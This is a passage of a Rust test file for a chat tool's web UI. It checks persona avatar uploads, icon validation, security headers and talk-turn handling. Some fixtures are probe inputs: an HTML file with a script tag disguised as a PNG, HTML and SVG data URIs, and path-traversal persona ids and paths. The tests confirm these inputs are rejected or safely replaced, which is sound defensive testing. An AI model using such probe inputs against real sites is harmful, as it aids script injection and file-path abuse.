15206        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15207        assert!(view.talk.turns[0].messages.is_empty());
15208        assert!(view.talk.pending_messages.is_empty());
15209    }
15210
15211    #[tokio::test]
15212    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15213        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15214        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15215            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15216        ))
15217        .await;
15218        let path = avatar_setting_path(home.path(), Some("rei"));
15219        let orphan = avatar_setting_path(home.path(), Some("removed"));
15220        save_icon_file(&orphan, icon).unwrap();
15221        for (saved, expected) in [
15222            (icon, "custom"),
15223            ("builtin", "builtin"),
15224            ("data:image/png;base64,!!!!", "inherit"),
15225            ("data:image/png;base64,PGh0bWw+", "inherit"),
15226            ("/tmp/avatar.png", "inherit"),
15227        ] {
15228            atomic_icon_write(&path, saved).unwrap();
15229            let catalog =
15230                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15231                    .await
15232                    .unwrap()
15233                    .0;
15234            let personas = catalog["personas"].as_array().unwrap();
15235            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15236            assert_eq!(rei["override_state"], expected);
15237            assert_eq!(rei["has_config_icon"], true);
15238            assert_eq!(rei["is_orphan"], false);
15239            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15240            assert_eq!(removed["override_state"], "custom");
15241            assert_eq!(removed["is_orphan"], true);
15242            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15243            assert_eq!(default["override_state"], "inherit");
15244            assert_eq!(default["has_config_icon"], false);
15245            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15246            assert_eq!(
15247                effective.as_deref(),
15248                Some(if expected == "builtin" { "" } else { icon })
15249            );
15250        }
15251    }
15252
15253    #[tokio::test]
15254    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15255        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15256        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15257            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15258        ))
15259        .await;
15260        let target = |id: Option<&str>| AvatarSettingsQuery {
15261            persona: id.map(str::to_owned),
15262            ..Default::default()
15263        };
15264        let original_config = config_for(&repo).await.unwrap();
15265        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15266        let original_prompt = persona::section_for(&original_persona, None);
15267        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15268            .await
15269            .unwrap()
15270            .0;
15271        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15272            let _ = avatar_settings_put(
15273                State(ui.clone()),
15274                Query(target(persona)),
15275                Json(MagiIconUpload { icon: icon.into() }),
15276            )
15277            .await
15278            .unwrap();
15279            let path = avatar_setting_path(home.path(), persona);
15280            assert!(path.starts_with(home.path().join("avatars")));
15281            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15282            for bad in [
15283                "/tmp/image.png".to_owned(),
15284                "data:image/png;base64,!!!!".to_owned(),
15285                "data:image/png;base64,PGh0bWw+".to_owned(),
15286                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15287                format!(
15288                    "data:image/png;base64,{}",
15289                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15290                ),
15291            ] {
15292                assert!(
15293                    avatar_settings_put(
15294                        State(ui.clone()),
15295                        Query(target(persona)),
15296                        Json(MagiIconUpload { icon: bad })
15297                    )
15298                    .await
15299                    .is_err()
15300                );
15301                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15302            }
15303        }
15304        assert!(read_magi_icon(home.path()).is_none());
15305        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15306        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15307            .await
15308            .unwrap()
15309            .0;
15310        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15311        assert_ne!(
15312            before
15313                .personas
15314                .iter()
15315                .find(|p| p.id == "magi")
15316                .unwrap()
15317                .avatar,
15318            after
15319                .personas
15320                .iter()
15321                .find(|p| p.id == "magi")
15322                .unwrap()
15323                .avatar
15324        );
15325        let restarted = Arc::new(Ui::new(
15326            Queue::at(home.path().join("queue")),
15327            Questions::at(home.path().join("questions")),
15328            Talks::at(home.path().join("talks")),
15329            home.path().join("runs"),
15330            home.path().to_owned(),
15331            repo,
15332        ));
15333        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15334            .await
15335            .unwrap()
15336            .0;
15337        assert!(
15338            catalog["personas"]
15339                .as_array()
15340                .unwrap()
15341                .iter()
15342                .any(|p| p["id"] == "../custom/日本語")
15343        );
15344        for expected in ["custom", "default", "rei"] {
15345            assert!(
15346                catalog["personas"]
15347                    .as_array()
15348                    .unwrap()
15349                    .iter()
15350                    .any(|p| p["id"] == expected)
15351            );
15352        }
15353        let response =
15354            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15355        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15356        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15357            .await
15358            .unwrap();
15359        assert_eq!(
15360            effective_persona_icon(home.path(), "rei", Some(icon)),
15361            Some(String::new())
15362        );
15363        let response = talk_avatar(
15364            State(restarted.clone()),
15365            Path(id.clone()),
15366            Query(AvatarQuery {
15367                persona: Some("rei".into()),
15368                ..Default::default()
15369            }),
15370        )
15371        .await
15372        .unwrap();
15373        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15374        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15375            .await
15376            .unwrap()
15377            .0;
15378        assert_ne!(
15379            after
15380                .personas
15381                .iter()
15382                .find(|p| p.id == "rei")
15383                .unwrap()
15384                .avatar,
15385            reset
15386                .personas
15387                .iter()
15388                .find(|p| p.id == "rei")
15389                .unwrap()
15390                .avatar
15391        );
15392        let mut inherit = target(Some("rei"));
15393        inherit.inherit = Some("1".into());
15394        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15395            .await
15396            .unwrap();
15397        assert_eq!(
15398            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15399            Some(icon)
15400        );
15401        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15402            .await
15403            .unwrap();
15404        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15405        assert_eq!(
15406            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15407            Some(icon)
15408        );
15409        // Display changes never rewrite the conversation or its prompt-bearing config.
15410        let cfg = config_for(&ui.repo).await.unwrap();
15411        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15412        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15413        assert!(!original_prompt.contains("data:image"));
15414        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15415        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15416        assert!(!stored.contains("data:image"));
15417        let mut orphan = ui.talks.get(&id).unwrap();
15418        orphan.persona = "../custom/日本語".into();
15419        let view = TalkView::with_config(
15420            orphan,
15421            false,
15422            Some(&cfg),
15423            home.path(),
15424            &id_links::IndexCache::default(),
15425        );
15426        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15427    }
15428
15429    #[tokio::test]
15430    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15431        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15432        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15433        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15434        let _ = magi_icon_put(
15435            State(ui.clone()),
15436            Json(MagiIconUpload { icon: icon.into() }),
15437        )
15438        .await
15439        .unwrap();
15440        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15441        assert_ne!(original, changed);
15442        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15443        let response = magi_avatar(
15444            State(ui.clone()),
15445            Query(AvatarQuery {
15446                persona: None,
15447                builtin: None,
15448            }),
15449        )
15450        .await;
15451        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15452        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15453        assert_eq!(
15454            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15455            "nosniff"
15456        );
15457        for bad in [
15458            "data:image/png;base64,PGh0bWw+".to_owned(),
15459            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15460            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15461        ] {
15462            assert!(save_magi_icon(home.path(), &bad).is_err());
15463            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15464        }
15465        // Re-opened server state reads the same independent home file.
15466        let restarted = Arc::new(Ui::new(
15467            Queue::at(home.path().join("queue")),
15468            Questions::at(home.path().join("questions")),
15469            Talks::at(home.path().join("talks")),
15470            home.path().join("runs"),
15471            home.path().to_path_buf(),
15472            repo,
15473        ));
15474        assert_eq!(
15475            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15476            changed
15477        );
15478        let view = TalkView::with_config(
15479            restarted.talks.get(&id).unwrap(),
15480            false,
15481            None,
15482            &restarted.home,
15483            &restarted.references,
15484        );
15485        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15486        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15487        let response = magi_avatar(
15488            State(ui.clone()),
15489            Query(AvatarQuery {
15490                persona: None,
15491                builtin: None,
15492            }),
15493        )
15494        .await;
15495        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15496            .await
15497            .unwrap();
15498        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15499        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15500        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15501        let _ = magi_icon_delete(State(ui)).await.unwrap();
15502    }
15503
15504    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15505    async fn avatar(
15506        ui: &Arc<Ui>,
15507        id: &str,
15508        persona: Option<&str>,
15509        builtin: bool,
15510    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15511        let res = talk_avatar(
15512            State(Arc::clone(ui)),
15513            Path(id.to_owned()),
15514            Query(AvatarQuery {
15515                persona: persona.map(str::to_owned),
15516                builtin: builtin.then(|| "1".to_owned()),
15517            }),
15518        )
15519        .await
15520        .expect("an avatar is never an error response");
15521        let h = res.headers();
15522        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15523        let nosniff = h
15524            .get(header::X_CONTENT_TYPE_OPTIONS)
15525            .is_some_and(|v| v == "nosniff");
15526        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15527        let status = res.status();
15528        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15529            .await
15530            .expect("body")
15531            .to_vec();
15532        (status, ct, nosniff, csp, body)
15533    }
15534
15535    fn tiny_png() -> Vec<u8> {
15536        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15537        b.extend_from_slice(&[0u8; 32]);
15538        b
15539    }
15540
15541    #[tokio::test]
15542    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15543        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15544        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15545        assert_eq!(res.status(), StatusCode::OK);
15546        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15547        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15548        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15549        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15550        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15551            .await
15552            .unwrap();
15553        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15554        assert_ne!(
15555            persona_icon::operator_svg(),
15556            persona_icon::builtin_svg("default")
15557        );
15558    }
15559
15560    #[tokio::test]
15561    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15562        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15563        for p in [
15564            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15565        ] {
15566            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15567            assert_eq!(status, StatusCode::OK, "{p}");
15568            assert_eq!(ct, "image/svg+xml", "{p}");
15569            assert!(nosniff && csp, "{p}");
15570            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15571        }
15572        // No `persona` means the conversation's own; unknown ones fall back.
15573        let own = avatar(&ui, &id, None, false).await;
15574        let default = avatar(&ui, &id, Some("default"), false).await;
15575        assert_eq!(own.4, default.4);
15576        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15577        assert_eq!(unknown.1, "image/svg+xml");
15578    }
15579
15580    #[tokio::test]
15581    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15582        let dir = TempDir::new().expect("icons");
15583        let good = dir.path().join("good.png");
15584        std::fs::write(&good, tiny_png()).unwrap();
15585        let spoof = dir.path().join("spoof.png");
15586        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15587        let big = dir.path().join("big.png");
15588        let mut bytes = tiny_png();
15589        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15590        std::fs::write(&big, bytes).unwrap();
15591        let missing = dir.path().join("missing.png");
15592        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15593        let extra = format!(
15594            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15595             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15596             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15597             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15598             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15599             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15600            uri(&good),
15601            uri(&spoof),
15602            uri(&big),
15603            uri(&missing),
15604        );
15605        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15606
15607        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15608        assert_eq!(
15609            (status, ct.as_str(), nosniff),
15610            (StatusCode::OK, "image/png", true)
15611        );
15612        assert_eq!(body, tiny_png());
15613        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15614        assert_eq!(ct, "image/png", "data URI");
15615
15616        for p in ["misato", "asuka", "shinji", "magi"] {
15617            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15618            assert_eq!(
15619                (status, ct.as_str(), csp),
15620                (StatusCode::OK, "image/svg+xml", true),
15621                "{p}"
15622            );
15623            assert!(body.starts_with(b"<svg"), "{p}");
15624        }
15625        // The page's own retry skips the icon.
15626        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15627        assert_eq!(ct, "image/svg+xml");
15628    }
15629
15630    #[tokio::test]
15631    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15632        let oversized = format!(
15633            "data:image/png;base64,{}",
15634            "A".repeat(persona_icon::ICON_MAX_BYTES)
15635        );
15636        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15637            let extra = format!(
15638                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15639            );
15640            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15641            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15642                .await
15643                .expect("detail with invalid icon");
15644            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15645            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15646            assert_eq!(status, StatusCode::OK);
15647            assert_eq!(ct, "image/svg+xml");
15648            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15649            let Json(view) = talk_persona(
15650                State(Arc::clone(&ui)),
15651                Path(id.clone()),
15652                Json(TalkPersona {
15653                    persona: "custom".into(),
15654                }),
15655            )
15656            .await
15657            .expect("persona switch with invalid icon");
15658            assert_eq!(view.talk.persona, "custom");
15659            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15660        }
15661    }
15662
15663    #[tokio::test]
15664    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15665        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15666        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15667        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15668        assert_eq!(
15669            (status, ct.as_str(), nosniff, csp),
15670            (StatusCode::OK, "image/svg+xml", true, true)
15671        );
15672    }
15673
15674    #[tokio::test]
15675    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15676        let (_t, _h, ui, id, _repo) =
15677            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15678        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15679            .await
15680            .expect("detail");
15681        let json = serde_json::to_string(&detail).unwrap();
15682        assert!(
15683            !json.contains("secret"),
15684            "the icon setting must not leak: {json}"
15685        );
15686        assert!(
15687            detail
15688                .view
15689                .persona_avatar
15690                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15691        );
15692        assert_eq!(
15693            detail.view.operator_avatar,
15694            format!(
15695                "/avatars/operator.svg?v={}",
15696                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15697            )
15698        );
15699        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15700        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15701        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15702        assert!(rei.avatar.contains("persona=rei&v="));
15703        assert_ne!(
15704            rei.avatar.split("&v=").nth(1),
15705            plain.avatar.split("&v=").nth(1)
15706        );
15707    }
15708
15709    #[tokio::test]
15710    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15711        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15712        let cfg = config_for(&repo).await.unwrap();
15713        for arrived in [false, true] {
15714            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15715            let observed = ui.queued_generation(&id);
15716            let talk = ui.talks.get(&id).unwrap();
15717            if arrived {
15718                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15719            }
15720            let mut settling = std::pin::pin!(settle_settings_turn(
15721                talk,
15722                ui.talks.clone(),
15723                cfg.clone(),
15724                id.clone(),
15725                turn,
15726                observed
15727            ));
15728            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15729            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15730            assert_eq!(first.is_pending(), arrived);
15731            if arrived {
15732                assert!(!settling.await);
15733            }
15734            assert!(!ui.is_thinking(&id));
15735        }
15736    }
15737
15738    #[tokio::test]
15739    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15740        let tmp = TempDir::new().expect("tempdir");
15741        let repo = tmp.path().join("repo");
15742        std::fs::create_dir_all(&repo).expect("repo dir");
15743        std::fs::write(
15744            repo.join("magi.toml"),
15745            format!(
15746                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15747            ),
15748        )
15749        .expect("write magi.toml");
15750        let home = TempDir::new().expect("temp home");
15751        let talks = Talks::at(home.path().join("talks"));
15752        let ui = Arc::new(
15753            Ui::new(
15754                Queue::at(home.path().join("queue")),
15755                Questions::at(home.path().join("questions")),
15756                talks.clone(),
15757                home.path().join("runs"),
15758                home.path().to_path_buf(),
15759                repo.clone(),
15760            )
15761            .with_worktrees_root(home.path().join("wt")),
15762        );
15763        let cfg = config_for(&repo).await.expect("discover config");
15764        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15765        let id = talk.id.clone();
15766        let call = |persona: &str| {
15767            talk_persona(
15768                State(Arc::clone(&ui)),
15769                Path(id.clone()),
15770                Json(TalkPersona {
15771                    persona: persona.to_owned(),
15772                }),
15773            )
15774        };
15775
15776        let unknown = call("nobody").await.expect_err("unknown persona");
15777        assert_eq!(
15778            unknown.status,
15779            StatusCode::BAD_REQUEST,
15780            "{}",
15781            unknown.message
15782        );
15783
15784        {
15785            // Nothing refused so far took a claim, so the guard is free to take
15786            // and holding it is what makes the talk busy.
15787            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15788            let busy = call("rei").await.expect_err("busy talk");
15789            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15790            assert!(
15791                busy.message.contains("a talk turn is running"),
15792                "{}",
15793                busy.message
15794            );
15795            drop(guard);
15796        }
15797        assert_eq!(talks.get(&id).expect("reload").persona, "");
15798
15799        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15800        assert_eq!(view.talk.persona, "gendo");
15801        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15802        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15803        // No intervening I/O or sleep may be needed before another change.
15804        for chosen in ["default", "gendo", "rei", "gendo"] {
15805            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15806            assert!(!view.thinking);
15807            assert!(!ui.is_thinking(&id));
15808        }
15809
15810        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15811            .await
15812            .expect("detail");
15813        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15814        assert_eq!(ids.first(), Some(&"default"));
15815        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15816
15817        let Json(view) = call("default").await.expect("back to default");
15818        assert_eq!(view.talk.persona, "");
15819
15820        let mut closed = talks.get(&id).expect("reload");
15821        talk::close(&mut closed, &talks).expect("close");
15822        let refused = call("rei").await.expect_err("closed talk");
15823        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15824        assert!(
15825            refused.message.contains("takes no more turns"),
15826            "{}",
15827            refused.message
15828        );
15829    }
15830
15831    #[tokio::test]
15832    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15833        let f = Fixture::start().await;
15834        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15835        let queue = f.queue();
15836        let mut mine = Task::new(
15837            "rename the loader".to_owned(),
15838            "rename the loader".to_owned(),
15839            PathBuf::from("/repo/magi"),
15840            Source::Agent {
15841                run: talk_id.clone(),
15842                node: "chat".to_owned(),
15843            },
15844        );
15845        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15846        assert_eq!(empty["task_progress"]["state"], "none");
15847        assert_eq!(empty["task_progress"]["total"], 0);
15848        queue.put(&mut mine).expect("file the task");
15849        let mut theirs = Task::new(
15850            "unrelated".to_owned(),
15851            "unrelated".to_owned(),
15852            PathBuf::from("/repo/magi"),
15853            Source::Human,
15854        );
15855        // A later task linked through origin_chat alone is outside this list.
15856        theirs.origin_chat = Some(talk_id.clone());
15857        queue.put(&mut theirs).expect("file the task");
15858
15859        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15860        assert_eq!(res.status, 200, "{}", res.body);
15861        let body = res.json();
15862        assert_eq!(
15863            body["status"], "open",
15864            "filing a task does not close a talk"
15865        );
15866        let tasks = body["tasks"].as_array().expect("tasks array");
15867        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15868        assert_eq!(tasks[0]["id"], mine.id);
15869        for status in [
15870            TaskStatus::Queued,
15871            TaskStatus::Running,
15872            TaskStatus::Held,
15873            TaskStatus::Failed,
15874            TaskStatus::Blocked,
15875            TaskStatus::Parked,
15876            TaskStatus::Done,
15877            TaskStatus::Queued,
15878        ] {
15879            mine.status = status;
15880            queue.put(&mut mine).expect("update status");
15881            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15882            let progress = &detail["task_progress"];
15883            assert_eq!(progress["total"], 1);
15884            assert_eq!(progress["counts"][status.as_str()], 1);
15885            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15886            assert_eq!(detail["status"], "open", "completion never closes the chat");
15887            if status == TaskStatus::Done {
15888                assert_eq!(progress["state"], "complete");
15889                assert_eq!(progress["done"], 1);
15890                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15891            } else {
15892                assert_eq!(progress["state"], "incomplete");
15893                assert_eq!(progress["done"], 0);
15894                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15895            }
15896        }
15897    }
15898
15899    #[test]
15900    fn talk_task_progress_counts_mixed_statuses() {
15901        let mut tasks: Vec<_> = [
15902            TaskStatus::Queued,
15903            TaskStatus::Running,
15904            TaskStatus::Held,
15905            TaskStatus::Failed,
15906            TaskStatus::Blocked,
15907            TaskStatus::Parked,
15908            TaskStatus::Done,
15909        ]
15910        .into_iter()
15911        .map(|status| {
15912            let mut task = Task::new(
15913                "task".into(),
15914                "task".into(),
15915                PathBuf::from("/repo"),
15916                Source::Human,
15917            );
15918            task.status = status;
15919            task
15920        })
15921        .collect();
15922        let progress = talk_task_progress(&tasks);
15923        assert_eq!(progress.state, "incomplete");
15924        assert_eq!(progress.total, 7);
15925        assert_eq!(progress.done, 1);
15926        assert_eq!(progress.unfinished_ids.len(), 6);
15927        assert!(progress.counts.values().all(|count| *count == 1));
15928        assert_eq!(
15929            progress.unfinished_ids,
15930            tasks[..6]
15931                .iter()
15932                .map(|task| task.id.clone())
15933                .collect::<Vec<_>>()
15934        );
15935
15936        for task in &mut tasks {
15937            task.status = TaskStatus::Done;
15938        }
15939        let complete = talk_task_progress(&tasks);
15940        assert_eq!(complete.state, "complete");
15941        assert_eq!(complete.done, 7);
15942        assert!(complete.unfinished_ids.is_empty());
15943        tasks[0].status = TaskStatus::Queued;
15944        let requeued = talk_task_progress(&tasks);
15945        assert_eq!(requeued.state, "incomplete");
15946        assert_eq!(requeued.done, 6);
15947        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15948
15949        let empty = talk_task_progress(&[]);
15950        assert_eq!(empty.state, "none");
15951        assert_eq!(empty.total, 0);
15952        assert_eq!(empty.done, 0);
15953        assert!(empty.unfinished_ids.is_empty());
15954        assert!(empty.counts.values().all(|count| *count == 0));
15955    }
15956
15957    #[tokio::test]
15958    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15959        let (_tmp, _repo, f) = talk_fixture().await;
15960        let id = f.post("/api/talks", None).await.json()["id"]
15961            .as_str()
15962            .expect("id")
15963            .to_owned();
15964
15965        let res = f
15966            .post(
15967                &format!("/api/talks/{id}/say"),
15968                Some(r#"{"text":"what does the queue module do?"}"#),
15969            )
15970            .await;
15971        assert_eq!(res.status, 202, "{}", res.body);
15972        let queued = res.json();
15973        let turns = queued["turns"].as_array().expect("turns array");
15974        assert_eq!(
15975            turns.len(),
15976            1,
15977            "the answer reflects only what is on disk the instant it is sent, \
15978             before the agent's turn - which can run for the whole of \
15979             `[graph] timeout_talk` - has a chance to land: {queued}"
15980        );
15981        assert_eq!(turns[0]["who"], "operator");
15982        assert_eq!(turns[0]["body"], "what does the queue module do?");
15983        assert_eq!(
15984            queued["thinking"], true,
15985            "the accepted response exposes the background turn claim: {queued}"
15986        );
15987
15988        let mut turns_after = 1;
15989        for _ in 0..SETTLE_STEPS {
15990            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15991            turns_after = detail["turns"].as_array().expect("turns array").len();
15992            if turns_after == 2 {
15993                break;
15994            }
15995            tokio::time::sleep(Duration::from_millis(10)).await;
15996        }
15997        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15998    }
15999
16000    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16001    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16002    /// guards against: `talk::record` used to return, and only *then* did the
16003    /// handler make a second, separate disk round trip before spawning the
16004    /// agent's reply task. A future dropped in that gap left a message
16005    /// recorded on disk with no reply task ever started and no way back short
16006    /// of a fresh message - and the gap was not even the whole story: *any*
16007    /// `.await` in this handler, including the very first one, is a point
16008    /// where a drop can land after the awaited work already finished but
16009    /// before this handler's own code resumes to act on it. `record` now
16010    /// runs inside the task `tokio::spawn` hands to the runtime before this
16011    /// handler ever awaits anything of its own again, so there is nothing
16012    /// left in *this* handler's future for a disconnect to interrupt between
16013    /// the message landing on disk and the reply task starting.
16014    ///
16015    /// A real socket disconnect cannot be relied on to land in the old gap
16016    /// from a test - over loopback, `talk_say` typically finishes before the
16017    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16018    /// same failure mode directly: it drops the task's future at whatever
16019    /// point it has reached, exactly what axum does to the handler future,
16020    /// without needing to win a real network race. Sweeping the delay before
16021    /// aborting samples a range of points the task's execution can be at,
16022    /// including where the old code sat waiting on its second disk round
16023    /// trip - confirmed by reverting this fix locally and watching this same
16024    /// sweep catch a talk stuck with the operator's turn recorded and no
16025    /// reply ever following.
16026    #[tokio::test]
16027    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
